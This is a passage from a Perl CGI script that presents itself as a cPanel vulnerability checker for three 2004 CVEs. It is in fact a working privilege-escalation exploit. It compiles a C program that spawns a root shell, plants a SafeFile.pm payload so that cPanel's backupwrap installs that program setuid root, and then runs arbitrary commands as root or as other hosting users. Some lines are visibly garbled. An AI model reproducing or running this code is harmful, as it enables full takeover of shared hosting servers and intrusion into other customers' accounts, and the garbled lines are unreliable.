&1`;
if ($out =~ /^\n/) {
print "FAILED: CVE-2004-0529 suEXEC mod_php Taint Vulnerability Test\n";
print "Explain\n";
print "EXEC [$command] as [$who]:\n";
$out =~ s/&/&/g;
$out =~ s/\n";
$canexe = 1;
} else {
print "PASSED: CVE-2004-0529 suEXEC mod_php Taint Vulnerability Test\n";
print "\n" if $out;
}
}
if ($canexe) {
if (!$cpwrap) {
open (DUMMY,">wrap.c");
print DUMMY qq{int main() { initgroups("root",0);setgid(0);setuid(0);execl("/bin/sh","sh",0); }\n};
close DUMMY;
if (my $cc = `cc -o wrap wrap.c 2>&1`) {
print "\n";
} else {
open (DUMMY,">SafeFile.pm");
print DUMMY qq{exec q{ cd /usr/local/cpanel;mv bin bin.ROOT;mkdir bin;echo 'install -o root -g wheel -m 04777 $dummy/wrap .' > bin/backupadmin;chmod 755 bin/backupadmin;bin.ROOT/backupwrap;rm bin/backupadmin;rmdir bin;mv bin.ROOT bin };\n};
close DUMMY;
my $out = `/usr/local/apache/bin/suexec cpanel cpanel cpanel/bin/proftpdvhosts 2>&1`;
}
}
$cpwrap = 1 if -x $wraptest && -u _;
}
chdir "/";
if ($cpwrap) {
print "FAILED: CAN-2004-0546 cpwrap suid root Vulnerability Test\n";
print "Explain\n";
push @users, "root";
if ($who eq "root") {
print "EXEC [$command] as [$who]:\n";
$ENV{EXEC} = $command;
my $out = `echo \$EXEC | $wraptest 2>&1`;
$out =~ s/&/&/g;
$out =~ s/\n";
}
} else {
print "PASSED: CAN-2004-0546 cpwrap suid root Vulnerability Test\n";
}
system("rm","-rf",$dummy);
}
} elsif ($cpanel && !$common) {
my $probe = `PATH_TRANSLATED=/usr/local/cpanel/base/phpinfo.php SCRIPT_FILENAME=/dev/null REQUEST_METHOD=GET /usr/bin/php &1`;
if ($probe =~ /phpinfo\(\)/) {
print "FAILED: CVE-2004-0490 mod_phpsuexec PATH_TRANSLATED Vulnerability Test\n";
print "Explain\n";
$canexe = 1;
$secure = 0;
print "EXEC [$command] as [$who]:\n";
my $out = `$command 2>&1`;
$out =~ s/&/&/g;
$out =~ s/\n";
if ($who ne $me) {
print "Submit again to switch to another user...
\n";
my @guess = qw(/index.php /forum/index.php /forums/index.php);
my $rand = $guess[rand @guess];
$action = "/~$who$rand/~$me/cpanel.php";
system "chmod o+x $ENV{HOME}";
}
} else {
print "PASSED: CVE-2004-0490 mod_phpsuexec PATH_TRANSLATED Vulnerability Test\n";
}
print "PASSED: CVE-2004-0529 suEXEC mod_php Taint Vulnerability Test\n";
print "PASSED: CAN-2004-0546 cpwrap suid root Vulnerability Test\n";
}
if ($cpanel) {
if ($secure) {
print "PASSED: Congratulations, your cPanel configuration is secure!\n";
} else {
print "FAILED: One or more insecure cPanel configurations were detected. Visit A-Squad.Com for details on where to find more secure cPanel hosting.\n";
}
}
print "